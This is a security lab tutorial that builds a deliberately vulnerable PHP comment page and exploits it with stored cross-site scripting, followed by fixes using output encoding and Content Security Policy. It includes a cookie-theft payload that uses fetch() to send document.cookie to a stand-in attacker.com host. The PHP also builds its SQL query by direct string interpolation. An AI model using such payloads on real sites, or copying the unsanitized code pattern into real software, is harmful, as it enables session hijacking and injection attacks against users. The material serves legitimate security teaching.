Objective
Learn how to exploit Stored Cross-Site Scripting (XSS) vulnerabilities by injecting malicious scripts that are stored on the server and executed in other users’ browsers. Understand how to mitigate this risk using input sanitization, output encoding, and security headers.
Scenario
You are testing a web application with a comment feature where user input is stored in the database and displayed to other users. Due to the lack of proper input sanitization, an attacker can inject malicious JavaScript that gets executed when other users view the comment.
Lab Setup
Prerequisites:
- Basic knowledge of PHP and JavaScript.
- XAMPP/LAMP/WAMP stack installed (or any web server with PHP and MySQL support).
- A code editor (e.g., VSCode, Sublime Text).
Step 1: Create the Vulnerable Web Application
- Database Setup
- Create a database and comments table:
CREATE DATABASE xss_lab; USE xss_lab; CREATE TABLE comments ( id INT AUTO_INCREMENT PRIMARY KEY, content TEXT NOT NULL );
- Create a database and comments table:
- PHP Script for Submitting and Displaying Comments (Vulnerable)
- Create a file
comments.php
:<?php $conn = mysqli_connect("localhost", "root", "", "xss_lab"); if (isset($_POST['submit'])) { $content = $_POST['content']; $query = "INSERT INTO comments (content) VALUES ('$content')"; mysqli_query($conn, $query); } $result = mysqli_query($conn, "SELECT * FROM comments"); ?> <h2>Leave a Comment</h2> <form method="POST" action=""> <textarea name="content" rows="4" cols="50" required></textarea><br> <button type="submit" name="submit">Submit</button> </form> <h2>Comments</h2> <?php while ($row = mysqli_fetch_assoc($result)): ?> <p><?php echo $row['content']; ?></p> <?php endwhile; ?>
- Create a file
- Running the Application
- Start the Apache server.
- Place
comments.php
in the web server’s root directory (htdocs
for XAMPP). - Open
http://localhost/comments.php
in your browser.
Exploitation Steps
Step 1: Injecting Malicious Script
- Enter the following payload into the comment form:
<script>alert('XSS')</script>
- Submit the comment.
Expected Result:
- When the page reloads, the alert box pops up, confirming the script’s execution.
Step 2: Advanced Payload for Cookie Theft
- Inject a script to steal cookies:
<script>fetch('http://attacker.com/steal.php?cookie=' + document.cookie)</script>
- Expected Result:
- The victim’s cookies are sent to the attacker’s server.
Solution and Prevention
Problem Analysis
- User input is stored and displayed without sanitization, allowing malicious scripts to execute.
Fixing the Vulnerability
- Input Sanitization
- Remove harmful tags before storing input:
$content = htmlspecialchars($_POST['content'], ENT_QUOTES, 'UTF-8');
- Remove harmful tags before storing input:
- Output Encoding
- Encode output to prevent script execution:
<p><?php echo htmlspecialchars($row['content']); ?></p>
- Encode output to prevent script execution:
- Implement Content Security Policy (CSP)
- Add CSP headers to restrict script execution:
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
- Add CSP headers to restrict script execution:
- Use Security Libraries
- Utilize libraries like OWASP’s ESAPI for secure input/output handling.
Testing After Fix
- Attempt to inject
<script>alert('XSS')</script>
again. - Expected Result:
- The comment is displayed as plain text without executing the script.
- Attempt advanced payloads.
- Expected Result:
- The server blocks or neutralizes the script.
Conclusion
In this lab, you exploited a Stored XSS vulnerability by injecting malicious scripts that were stored and executed on the server. You also learned how to prevent this vulnerability by implementing input sanitization, output encoding, and using security headers like Content Security Policy (CSP).
0 Comments